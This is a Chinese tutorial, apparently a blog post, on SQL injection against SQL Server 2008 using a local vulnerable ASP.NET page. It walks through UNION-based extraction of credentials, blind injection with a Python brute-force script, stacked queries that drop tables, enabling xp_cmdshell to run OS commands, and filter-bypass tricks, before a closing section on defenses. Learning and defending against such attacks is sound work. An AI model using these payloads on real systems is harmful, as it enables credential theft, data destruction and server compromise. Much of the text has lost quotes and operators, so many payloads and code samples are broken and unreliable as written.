
SQL Server 2008虽然已经退出了主流扩展支持周期但在不少企业内部它仍然默默支撑着老旧的MIS系统、报表平台和OA系统。这些年做安全评估和数据库运维我碰到过太多从“一个登录框”打到“走后门”的真实案例而背后十有八九都是SQL注入。这篇文章就基于SQL Server 2008这套经典环境从注入点识别、信息获取、数据提取到绕过技巧完整梳理一遍技术细节附带我在实际测试中踩过的坑和排错经验。无论你是做Web开发、数据库运维还是刚接触安全测试的新手这篇文章都能帮你建立一条比较清晰的SQL Server注入实战思路。我先把话放这里不要在生产库上做测试不要拿真实目标练手。你自己搭个本地环境随便怎么折腾都不会出问题真上了生产环境删了两行业务数据神仙都救不了你。1. SQL注入的基本原理与SQL Server 2008的特殊性1.1 一条SQL语句是如何“被注入”的SQL注入说白了就一句话**用户的输入被当成SQL代码拼接进了数据库查询。**正常情况下的登录查询是这样写的SELECT * FROM users WHERE username admin AND password 123456这条语句本身没毛病。但如果开发图省事把前端传上来的参数直接拼进SQL里SELECT * FROM users WHERE username username AND password password 这时候用户在用户名一栏输入了admin --SQL执行时就变成了SELECT * FROM users WHERE username admin -- AND password 123456--在T-SQL里是行注释后面的密码校验条件被整段注释掉本来需要正确密码才能登录的逻辑变成了“只要用户名存在就能登录”。这不光绕过了登录校验更重要的是它证明了程序把用户输入当成指令执行了。既然能执行后面就有无数种玩法。这个逻辑在MySQL、Oracle、SQL Server上通用但每个数据库的语法、函数、系统表结构不同导致利用手段差异很大。这也就是为什么网上搜SQL注入技术文章的时候大家都在强调“先判断数据库类型”。1.2 为什么选SQL Server 2008来做注入讲解其实纯粹从注入利用上说SQL Server 2008和2012、2016没有本质区别T-SQL的核心语法、系统视图、内置函数都没怎么变。但选2008还是有现实原因的。很多老企业、传统行业的核心业务系统是在2008时代开发的这些系统往往同时满足三个条件**代码老旧、无人维护、数据库权限过大。**业务跑了好几年数据越堆越多系统越来越卡但没人敢动。安全测试碰到的目标十之八九是这种环境。SQL Server 2008还有一个特殊性——它默认启用了一些你已经不太听过的扩展存储过程例如xp_cmdshell默认禁用但可启用的存储过程仍然存在。在2008上只要当前库用户权限够配合EXEC xp_cmdshell甚至可以直接执行操作系统命令高危程度比MySQL高得多。所以拿SQL Server 2008作为研究对象它的“杀伤范围”和“代表性”都足够典型。1.3 老版本带来哪些额外的安全瓶颈SQL Server 2008的另一个问题是它太老了。微软官方早已停止支持意味着新漏洞出来后不会有补丁很多安全机制都是后期版本才强化过的。再加上多数2008实例跑在Windows Server 2003、2008这种同样老掉牙的系统上整条链路的抗攻击能力都非常差。但这篇文章不是要你去攻击什么而是让你理解**一个配置不当的数据库配上一条不安全的SQL语句到底能带来多大风险。**理解了攻击路径你写代码、做运维时才不会犯同类错误。2. 本地靶场搭建2.1 靶场方案选型对比要学习SQL注入必须有靶场。目前主流的靶场方案大概三种我自己在验证SQL Server注入时比较偏向自建方式。靶场方案数据库类型上手难度和SQL Server贴合度适合场景DVWA默认MySQL低低入门理解注入原理Sqli-labsMySQL中低系统的注入技巧训练PikachuMySQL低低图形化靶场演练自建ASP.NETSQL ServerSQL Server中高高研究SQL Server专项特性DVWA、Sqli-labs这些主流靶场的SQL注入关卡本身做得很好推荐初学者先跑一遍。但它们底层基本是MySQL和SQL Server的关键语法有区别。比如MySQL的--后面必须跟一个空格才生效SQL Server的--后面不用MySQL有information_schemaSQL Server也有information_schema但SQL Server更常用的是sys.tables、sys.columns这些动态管理视图时间盲注上MySQL用sleep()SQL Server却用WAITFOR DELAY。你在DVWA上练熟了SQL注入的“通用思路”还得回到SQL Server真实环境里跑一遍T-SQL语句才能真正了解这套数据库的行为特征。所以我搭靶场时宁可麻烦一点也用IISASP.NET手写一个测试页面后端直接连SQL Server 2008。2.2 快速搭建一个SQL Server 2008测试环境我自己搭的环境很简单给你一个可以直接照做的方案。虚拟机安装Windows Server 2008 R2建议用VMware或者VirtualBox快照功能在测试时很有用。安装SQL Server 2008 R2 Express版Express版免费功能上覆盖T-SQL基本语法、系统视图、存储过程足够学习使用。如果手头有标准版或企业版的ISO也可以装。安装IIS启用ASP.NET功能。IIS是微软自带控制面板里勾选添加。在C:\inetpub\wwwroot下新建一个test.aspx文件写入一个有注入漏洞的查询页面。在SQL Server里建一个测试库和测试表插入几行数据。把连接字符串写到web.config里启动IIS。这里给出一段经典的漏洞代码我的测试页面大概长这样% Page LanguageC# % % Import NamespaceSystem.Data.SqlClient % script runatserver protected void Page_Load(object sender, EventArgs e) { string id Request.QueryString[id]; if (!string.IsNullOrEmpty(id)) { string connStr Server.;DatabaseTestDb;User Idsa;Passwordyourpass;; string sql SELECT username, email FROM users WHERE id id; using (SqlConnection conn new SqlConnection(connStr)) { SqlCommand cmd new SqlCommand(sql, conn); conn.Open(); SqlDataReader reader cmd.ExecuteReader(); while (reader.Read()) { Response.Write(reader[username] | reader[email] br/); } } } else { Response.Write(请通过?id1访问); } } /script注意看第七行直接把id参数拼进了SQL字符串中间没有任何过滤和处理。这就是一个标准的数字型注入点测试时在浏览器访问http://localhost/test.aspx?id1页面正常返回一条用户记录。确认页面能跑通后靶场基础环境就准备好了。2.3 连接字符串与账号权限的坑测试时用的连接字符串我建议不要直接用sa账号最好单独创建一个低权限账号来连接Web应用。这不是为了防盗而是为了模拟真实环境下的利用难度。现实里开发人员图省事Web连接串直接用sa的情况太常见了这会造成注入进来直接就是管理员权限系统库和命令执行全都不设防。你真要测试起码得搞清楚“低权限”和“高权限”在注入利用上的不同表现。另外SQL Server 2008安装时默认开启了Windows身份验证模式但你从ASP.NET网页连接时一般会改用混合模式。安装时记得选“SQL Server身份验证模式”然后启用saa账号并设置密码不然你的Web页面连不上数据库。3. 从注入点到数据获取的完整过程3.1 第一关确认注入点靶场搭好之后访问http://localhost/test.aspx?id1此时拼出来的SQL是SELECT username, email FROM users WHERE id 1我们试着改一下参数加一个单引号http://localhost/test.aspx?id1页面会报错SQL Server的报错信息长这样Unclosed quotation mark after the character string 这个报错说明单引号破坏了原有SQL结构而且是SQL Server把“字符串未闭合”的错误直接抛了出来我们的输入确实被代入到了SQL语句里。再试一次经典判断http://localhost/test.aspx?id1 and 11 http://localhost/test.aspx?id1 and 12第一个请求正常返回数据第二个请求没有任何结果。11恒为真12恒为假说明页面逻辑会受到这个条件真假的影响这就基本确认了注入点存在而且是数字型注入不需要闭合单引号那么麻烦。3.2 第二关判断字段数量知道了注入点下一步要搞清楚SELECT查询到底查了多少列。联合查询有个前提UNION前后两个查询的列数必须完全一致不然SQL Server直接报错。数字型注入判断列数最直接的方法是ORDER BYhttp://localhost/test.aspx?id1 order by 1 http://localhost/test.aspx?id1 order by 2 http://localhost/test.aspx?id1 order by 3只要ORDER BY 3报错就说明原查询只有2列因为第3列根本不存在。这种通过逐级递增尝试的方式两三分钟就能确定范围。如果系统里字段特别多几十列的情况不常见但存在也可以二分法提高效率。确定列数为2之后用联合查询http://localhost/test.aspx?id1 union select 1,2页面如果正常返回两列数据就说明联合查询成功。这里的1和2只是占位用来观察页面把查出来的内容显示在哪个位置。假设页面返回了1 | 2这样的输出那我们就知道第一列会显示在左边第二列会显示在右边。这个信息对后续替换字段非常重要。3.3 第三关获取数据库版本和当前库名拿到联合查询的显示位之后就可以把占位符替换成SQL Server的内置函数直接套信息。http://localhost/test.aspx?id1 union select version,db_name()version会返回完整的SQL Server版本号例如Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34db_name()返回当前连接所在的数据库名。在实际测试中version信息非常关键。版本不同可利用的漏洞特征也不一样比如某些特定版本可能有独立的漏洞POC。而拿到当前数据库名之后下一步整个信息搜集的范围就明确了。3.4 第四关枚举数据库的所有表SQL Server里有两个常用途径查看表信息一个是标准化的INFORMATION_SCHEMA.TABLES视图一个是系统视图sys.tables。SQL Server 2008两者都支持实际使用中我更喜欢用sys.tables因为它是SQL Server原生视图列结构清晰里面的name列就是表名。http://localhost/test.aspx?id1 union select name,1 from sys.tables这句联合查询的含义是把sys.tables里所有表的name查询出来放到联合结果的第一列展示。第二列随便填个1占位就行。如果一下子查出来的表太多不方便观察可以加WHERE过滤或使用TOP限制条数http://localhost/test.aspx?id1 union select top 5 name,1 from sys.tables这里有个细节在SQL Server 2008中表很多时页面显示不一定按表名排序你最好也查一下sys.objects里typeU的记录U代表用户表这就把系统表和用户表区分开了。3.5 第五关拆解表里的字段名定位到目标表之后假设表名是users继续查字段名。SQL Server的字段名存放位置在sys.columns视图里object_id字段关联到具体的表ID。我们可以用子查询把表名翻译成表IDhttp://localhost/test.aspx?id1 union select name,1 from sys.columns where object_id object_id(users)这条SQL会返回users表的所有字段名。正式测试时把字段名逐个列出来再决定下一步查哪些内容。如果不想依赖object_id还有一种写法用INFORMATION_SCHEMA.COLUMNShttp://localhost/test.aspx?id1 union select column_name,1 from INFORMATION_SCHEMA.COLUMNS where table_nameusers两种写法结果一致只是底层的实现视图不同。我习惯用sys.columns因为SQL Server 2008上系统视图的查询效率略高一些。3.6 第六关提取数据拿走用户名密码这类数据是最直白的一步。假设users表里字段是username和password我们把联合查询的显示位填上这两个字段http://localhost/test.aspx?id1 union select username,password from users这一句就能把整张表的账号密码全部拉出来。注意开发时经常犯的一个错误给密码字段起名叫password这在很多数据库里是保留字虽然SQL Server里不是不能用但建议加上字段修饰符保险http://localhost/test.aspx?id1 union select username,[password] from users这里用方括号[]包住password是为了防止字段名和系统关键字冲突导致SQL语法报错。这个习惯在你跟各种表结构打交道时会非常有用。以上就是数字型注入从发现到提取数据的完整链路。实际测试中80%的注入攻击都是在重复这个流程只是细节上会遇到各种过滤、加密、参数处理下一部分专门讲这些变种情况。4. 布尔盲注与时间盲注4.1 什么情况下要走盲注联合查询和报错注入都有一个前提**页面会把SQL查询结果或报错信息返回出来。**但现实里有两类场景这两招全部失效。第一类场景页面只返回“有数据”或“无数据”比如判断用户名是否存在的接口查询结果只作为判断条件不会回显。第二类场景更常见程序统一做了异常处理所有SQL错误都被吞掉返回一个通用提示“系统繁忙请稍后再试”。这时候你再怎么构造联合查询页面都不显示数据库信息但注入点本身依然存在。这种没有数据回显的注入就是盲注。盲注本质上是一问一答的游戏需要一个一个条件地去猜内容效率低但极其稳定。4.2 布尔盲注的实战思路布尔盲注的核心是利用页面返回结果的差异来推测数据内容。它能成立的前提是**最终页面的返回状态会受到SQL条件真假的影响。**比如我们测试这个请求http://localhost/test.aspx?id1 and 11页面正常返回数据。再测http://localhost/test.aspx?id1 and 12页面无数据。这就是一个可用的布尔注入点因为我们能通过页面差异判断一个条件是真还是假。接下来把硬编码的真假条件换成我们需要验证的内容即可。比如要判断当前数据库名第一个字符是不是tSQL Server里用SUBSTRING函数。字符编码通常用ASCII码数值来判断http://localhost/test.aspx?id1 and ASCII(SUBSTRING(db_name(),1,1)) 100页面有数据说明第一个字符的ASCII码大于100。再精确一下http://localhost/test.aspx?id1 and ASCII(SUBSTRING(db_name(),1,1)) 116页面有数据说明第一个字符ASCII码是116也就是字母t。继续把偏移量从1改到2、3、4逐个字符地猜直到整个数据库名被拼出来。这个过程听着机械但手工也能完成只是效率低。实际测试时更推荐配合Burp Suite的Intruder模块或者直接用Python脚本fuzz几分钟就能把数据库名、表名、字段名全部跑出来。我之前写过一个简单的Python脚本用requests库循环发送HTTP请求每次判断页面里是否出现某段特征文本然后把ASCII码结果拼起来打印。这里给一个简化版示例import requests url http://localhost/test.aspx match_text 正常返回的特征内容 def check(payload): r requests.get(url, params{id: payload}) return match_text in r.text # 猜测数据库名长度 for length in range(1, 30): payload f1 and LEN(db_name()){length} if check(payload): print(f[] 数据库名长度: {length}) break # 逐个字符猜测 db_name for pos in range(1, 30): for ascii_val in range(32, 127): payload f1 and ASCII(SUBSTRING(db_name(),{pos},1)){ascii_val} if check(payload): db_name chr(ascii_val) print(f[] 第{pos}个字符: {chr(ascii_val)}) break else: break print(f[] 数据库名: {db_name})脚本本身不复杂核心逻辑就是“循环发请求判断页面差异”。布尔盲注写代码时最需要注意的是请求频率别开太多线程无脑刷会把测试环境打崩我个人最多用单线程加轻量延时。4.3 时间盲注与WAITFOR DELAY时间盲注更“狠”一些它不依赖任何页面内容差异即使页面无论请求真假都返回相同内容也能通过响应时间差来判断条件是否成立。SQL Server里没有MySQL的sleep()函数它的延时函数是WAITFOR DELAY用法很简单WAITFOR DELAY 0:0:5上面这行代码会让当前会话休眠5秒。时间盲注的思路就是把这个延时语句嵌进SQL条件里让“条件为真时休眠5秒条件为假时不休眠”。测试请求http://localhost/test.aspx?id1; IF (11) WAITFOR DELAY 0:0:5--如果页面等了5秒才返回说明条件成立。假如没有延时直接返回说明条件为假。注意这里用了分号把两条SQL语句连起来这叫堆叠注入stacked query。SQL Server默认是支持一次提交多条语句的。时间盲注的判断基本都是这个套路http://localhost/test.aspx?id1; IF (LEN(db_name())5) WAITFOR DELAY 0:0:5--如果响应延迟5秒说明当前数据库名的长度是5接着继续猜字符。利用的是同样的SUBSTRING和ASCII码组合。实际测试时间盲注时请一定设置合理的HTTP超时时间比如10秒以上不然页面被延时阻塞时你的请求工具可能提前判定连接超时就会漏掉结果。另外目标并发访问量本来就大时网络本身的延迟会对判断产生干扰尽量选择数据库所在机器本地或同内网环境测试。4.4 用ORDER BY测列数在盲注场景下的变通联合查询在盲注场景下也用不了因为页面不回显结果你没法看到UNION查出的数据。但判断列数的方法不受影响仍然可以用ORDER BY爆破http://localhost/test.aspx?id1 order by 1 http://localhost/test.aspx?id1 order by 2当ORDER BY 10报错而ORDER BY 9正常时列数量就是9。拿到列数以后虽然无法直接联合查询但在构造后续条件语句时你需要确保子查询的列数匹配这个信息依然有用。5. 堆叠注入与执行系统命令5.1 SQL Server的堆叠注入原理刚刚提到过堆叠注入它是SQL Server注入中一个非常有分量的攻击面。堆叠注入的本质是**程序只取会话里的第一条SQL语句进行验证但SQL Server会执行提交的所有语句。**也就是说分号后面的SQL语句也会被数据库执行。举个例子一个正常的查询URLhttp://localhost/test.aspx?id1如果我们构造http://localhost/test.aspx?id1; DROP TABLE users--那么SQL Server先执行查询语句再执行DROP TABLE users直接删表。注意--把后面可能存在的SQL片段注释掉了防止程序拼的尾部SQL引发语法错误。堆叠注入不一定都能利用成功有个现实条件**底层数据库驱动必须允许多语句执行。**有的程序用了限制严格的ORM框架同一个连接不允许执行第二条语句此时堆叠注入就不会生效。但SQL Server 2008时代的老代码大量使用传统ADO.NET或者老式连接方式对多语句的支持是非常宽松的所以堆叠注入的成功率很高。5.2 利用堆叠注入启用xp_cmdshellSQL Server 2008上最出名的堆叠注入利用方案是启用xp_cmdshell扩展存储过程来执行系统命令。xp_cmdshell可以执行操作系统命令SQL Server 2008默认是关闭的。但只要能执行堆叠注入我们就可以用存储过程sp_configure把它打开。实测过程中我遇到过不少配置不当的情况很多旧项目的sa密码设得极其简单而且Web连接串直接用了sa账号。这样的环境下堆叠注入后的攻击路径非常短。完整的开启命令通常分成三条语句SQL Server 2008里需要把高级配置打开才能改xp_cmdshell-- 第一步允许修改高级配置 EXEC sp_configure show advanced options, 1; RECONFIGURE; -- 第二步启用xp_cmdshell EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; -- 第三步执行系统命令 EXEC xp_cmdshell whoami;通过URL提交时因为我们的注入点只有一个而且程序里用的是数字型拼接堆叠注入要一次性把三条语句串起来http://localhost/test.aspx?id1; EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; EXEC xp_cmdshell whoami--这段请求下发后如果一切顺利SQL Server会依次执行所有语句最终whoami命令的结果会返回给查询结果集。5.3 xp_cmdshell执行失败的原因xp_cmdshell执行系统命令时对运行权限的要求很高。经常遇到的情况是SQL Server服务运行账号权限不足导致执行命令时报错提示访问被拒绝。解决办法是确保SQL Server服务的启动账号是本地系统账户或者有足够权限的域账户。在IISSQL Server同机的测试环境中SYSTEM账户基本能顺利执行命令。另一个坑是Windows防火墙或者杀毒软件会拦截cmd.exe子进程的创建行为导致xp_cmdshell直接返回空结果。这种问题不好控制只能通过上一层的持久化手段绕开或者选择其他利用方式。必须强调xp_cmdshell是一个危险的功能。如果你在企业里做合规审计或安全加固发现生产库开放了这个功能建议直接记录为高危问题。5.4 为什么说提权和数据获取往往一步之遥在攻击链视角里SQL Server注入一旦能执行系统命令整条攻击链就不再局限于数据库数据库所在服务器的控制权、内网横向移动都可能被接上。这就是为什么我一直强调“最小权限原则”——Web应用连接数据库的账号绝不该有执行存储过程、操作系统命令的权限。6. 常见过滤与绕过手段6.1 单引号被过滤怎么办在很多“半吊子”防护代码里开发会用Replace把单引号替换成两个单引号这是最基础的过滤方式。id id.Replace(, );在SQL Server里两个单引号表示一个字符字面量单引号所以这种过滤后用户的输入就成了一个普通的字符串不再能闭合SQL。但数字型注入点完全不吃这一套因为数字型注入本来就不需要单引号。我刚演示的注入点就是数字型直接id1 and 11就绕过去了。如果是个字符型注入点单引号被过滤后可以考虑用十六进制表示字符串绕过。SQL Server支持将字符串转为十六进制并在某些上下文中直接使用。另外还有一些变通写法比如用CHAR()函数拼接字符串但SQL Server的过滤器通常不会拦函数调用。6.2 关键字过滤的绕过思路有些程序做了更“勤快”的过滤直接删除或替换SELECT、UNION、空格这些关键词。网上常见的过滤代码是id id.Replace(select, ).Replace(union, ).Replace( , );这种过滤非常脆弱用双写就能绕过。删除一次后还剩一半剩下的拼回去仍是可用关键字SELECT seselectlect UNIUNIONON过滤逻辑执行时select被删掉以后前一个select和后一个select拼在一起又组成了select关键字恢复原样。这类绕过方式虽然看着很“低级”但实际测试中发现成本最低、见效最快因为开发对“过滤”的理解经常只停留在字符串替换层面。6.3 注释符、内联注释与空白字符SQL Server中--、/* */都是有效的注释符。网上有些资料说SQL Server也支持MySQL的#注释这是不对的T-SQL里#是临时表名的前缀比如#temp。如果你在SQL Server注入里用#注释语句可能直接报错这个细节要注意。注释符在注入中的作用不只是注释尾部内容也可以用来截断SQL语句。另外SQL Server默认不启用MySQL风格的内联注释但在某些特殊字符过滤场景下可以用/ * * /把关键词拆开绕过简单过滤。空白字符过滤也有解法。SQL Server中除了普通空格%0a换行符、%09制表符、%0d回车符在很多场景下都可以充当语句分隔符。当程序把空格替换成空字符串时尝试这些URL编码字符往往能直接绕过。6.4 对“参数加密”和“Base64函数”的应对搜索词里出现了“参数加密”和“base64函数”这类场景常见于客户端把参数做了Base64编码后传输后端接收后解码再使用。这种方案看似安全但问题是它并没有解决注入的根本问题——Base64只是编码不是过滤。攻击者只要先用解码工具把payload编码一遍再提交就能绕过所谓的“参数加密”。我曾经接触过一个测试系统所有URL参数都做了一层Base64编码当时安全测试方一度觉得无从下手。后面实际测试时发现把经典的注入payload先转成Base64再放进去注入完全成功。这个案例足以说明一点**加密传输不等于安全防护。**真正的防御一定要在数据库访问层实现而不是在输入外层做掩耳盗铃。6.5 常见过滤绕过对照表过滤类型绕过思路示例单引号替换改用数字型注入或利用函数构造字符串id1 and 11关键字删除双写或嵌套seseselectlect空格过滤URL编码空白字符%0a、%09注释符过滤使用尾部截断或换行id1 and 11--可换id1 and 11;参数Base64编码先编码再提交把完整payload先Base64WAF层关键字拦截大小写混写、函数名变形SeLeCt、Char()拼接这只是绕过思路的一部分每种过滤场景都有独特的绕法。真正测试时建议多用Burp Suite的Repeater模块手工尝试不要一上来就上自动化工具反而更容易错过关键点。7. 常见报错分析与排查实录7.1 页面返回“Unclosed quotation mark”这个报错出现时说明你的单引号破坏了SQL Server的字符串结构。例如SELECT username FROM users WHERE id 1SQL Server对字符串的处理严格一个单引号没有配对就会报这个错。解决办法分两种情况如果你在字符型注入点测试第一件事是确认闭合方式。这个注入点的查询结构可能是WHERE id $id那输入1--把原SQL的单引号闭合掉同时用--注释掉后面多余部分。如果你在数字型注入点测试就不该去碰单引号直接用数字逻辑判断即可。7.2 UNION注入报“列数不匹配”最常见的联合查询报错有两种提示一种是All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.另一种是The data type is not supported.第一种说明联合查询的列数不一致这时回头用ORDER BY把原查询的列数确定清楚。第二种说明联合查询的某一列目标列类型不匹配比如主查询第一个字段是整数你用UNION SELECT name,1试图往整数列里放字符串就会报类型不匹配。解决办法是把占位符替换成和原字段类型兼容的值或者在MySQL场景下考虑用空字符串和NULL搭配SQL Server则用NULL和1占位。7.3 注入点在URL里但GET参数被编码很多新手用Burp测试时把payload直接粘贴到URL里中文、单引号会被浏览器自动编码到了后端解析出来已经不是原内容了。我倾向于在Burp的Repeater模块里操作把请求包完整的headers和body都控制住需要编码的地方手工用URL编码。一个典型的错误是直接在浏览器地址栏输入http://localhost/test.aspx?id1 and 11浏览器会把空格自动转成%20这是正常的。但如果payload里包含号浏览器可能把它当成空格处理导致SQL逻辑错误。这种情况在时间盲注构造的字符串参数里经常碰到建议统一用Burp发送原始请求避免这种无谓的坑。7.4 时间盲注无延时时间盲注页面无延时的原因有很多按概率排序大概是这几个注入点不是SQL Server或者SQL语句闭合方式不对导致后面的堆叠语句没有执行。数据库账号对当前数据库没有权限执行多个语句。有些数据库连接串配置了MultipleActiveResultSetstrue但应用层本身禁止多语句。请求被WAF或代码里的关键词拦截WAITFOR被过滤请求直接返回400或重定向。你测的页面本身有缓存机制请求没有真正到达数据库。排查时优先抓包看实际返回的响应报文不要只看浏览器表现。然后逐步缩小范围先单测1; WAITFOR DELAY 0:0:5--如果能延时再考虑加条件判断。7.5 快速问题速查表现象可能原因排查方向单引号报错但联合查询无输出查询列数不等于填充列数用ORDER BY找列数页面显示“系统错误”无详情应用层捕获异常SQL报错被吞改用盲注或时间盲注联合查询报类型不匹配占位符类型与原字段冲突占位符换成NULL数据全是空值查询的表名或字段名错误先查INFORMATION_SCHEMA确认表结构注入语句偶发失效数据库连接池复用了旧连接状态异常重启应用测试池时间盲注偶发失效网络延迟波动多次重试取平均值经验丰富的人并不是不犯错而是犯错后能快速定位到原因。这套排查方法我自己用了很多年遇到再奇怪的注入场景都跑不出这个框架。8. 防止SQL注入的防御加固8.1 参数化查询永远排在第一位讲了这么多攻击路径现在聊怎么填坑。防御SQL注入最重要的一条原则是**永远不要拼接用户输入到SQL语句里。**现代开发框架普遍支持参数化查询也就是把SQL语句模板和参数分开传递数据库在执行时把参数当作数据值而不是代码片段。ASP.NET里的SqlParameter就是一种标准写法string sql SELECT username, email FROM users WHERE id id; using (SqlCommand cmd new SqlCommand(sql, conn)) { cmd.Parameters.AddWithValue(id, id); // 后续执行 }在Java里用PreparedStatement在Python里用参数占位符在PHP里用PDO预处理原理完全一致。参数化查询可以说是Web安全领域最有效、最经济的一道防线它从根上杜绝了输入被解释成代码的可能。8.2 存储过程别把“动态SQL”放进来很多人觉得用了存储过程就安全了。这个观念要纠正存储过程内部如果还在拼接SQL字符串那你等于把漏洞从应用程序层搬到了数据库层根本没有解决问题。举个例子某系统把名字查询写成存储过程内部实现却是SET sql SELECT * FROM users WHERE name name EXEC(sql)这种做法在SQL Server 2008时代的老项目里很常见因为以前开发图方便把动态SQL写成存储过程然后告诉安全审计“我们用了存储过程”。实际上这种写法依然可以被注入。正确的做法是存储过程内部也用参数化CREATE PROCEDURE GetUserByName name NVARCHAR(50) AS BEGIN SELECT * FROM users WHERE name name END参数传递的方式在存储过程里安全、简单、性能还更好强制让SQL Server复用执行计划对数据库性能也有正面影响。8.3 最小权限原则生产环境的Web应用连接数据库使用的账号应该遵循最小权限的原则。日常查询只需要SELECT权限就不要给它INSERT、UPDATE、DELETE尤其不能给它db_owner这类角色。SQL Server 2008里最小权限的配置可以参考下面的思路USE TestDb; CREATE LOGIN webapp WITH PASSWORD 强密码; CREATE USER webapp FOR LOGIN webapp; GRANT SELECT ON users TO webapp; -- 如果业务确实需要插入再单独授权 -- GRANT INSERT ON users TO webapp;你用sa账号跑Web的事情一旦出现注入流程里xp_cmdshell直接就能执行损失不可估量。给Web应用配置独立低权限账号哪怕注入发生了影响范围也会被约束在数据库某些表内不会直接扩大到操作系统。8.4 输入验证和过滤是辅助不是主防输入验证做一下没坏处比如数字型参数强制用int.TryParse转换int id 0; if (!int.TryParse(Request.QueryString[id], out id)) { Response.Write(参数不合法); return; }这个做法能直接把数字型注入挡掉大半因为非数字内容根本无法进入查询逻辑。字符型参数也可以做白名单校验比如手机号格式、邮箱格式。但要注意过滤和验证只适合作为辅助措施不能把安全完全寄托在过滤规则上。过滤规则总有漏网之鱼攻击者还能用编码、注释、函数组合绕过来。真正防注入的核心还是参数化查询。8.5 多层防护与日志监控有条件的企业会再上WAF、数据库审计系统、异常行为检测这些都是加分项。但我见过很多公司上了WAF还是被绕过的案例原因就是WAF规则没有跟上业务特点攻击者换了个变体payload就穿透了。WAF只是延迟攻击者的进度不解决根本问题。数据库层的做法是关闭不必要的扩展存储过程定期审查登录账号权限启用SQL Server审计功能监控异常的长查询、多语句、敏感表的读取行为。把防御重心放到数据库本身不要只依赖Web层面的防护。9. 最后补充一个实操技巧测试SQL Server注入时我习惯用SSMSSQL Server Management Studio先把T-SQL语句都验证一遍然后才拿到Web注入点里试。比如想确认某个函数在当前版本的SQL Server上是否可用直接在SSMS里跑SELECT VERSION SELECT DB_NAME() SELECT * FROM sys.tables这样能节省很多在注入点里反复试错的时间。尤其在SQL Server 2008这个老版本上有些新函数根本不存在比如STRING_AGG是2017以后才有的2008里只能用FOR XML PATH做字符串聚合。先离线验证过语法再拿进注入payload成功率和调试效率都会高很多。我自己每次做SQL Server相关的安全测试都会搞个本地靶场先跑一遍流程确认系统和目标版本完全一致再去动真正的测试环境。磨刀不误砍柴工这句话在安全测试这行是绝对的真理。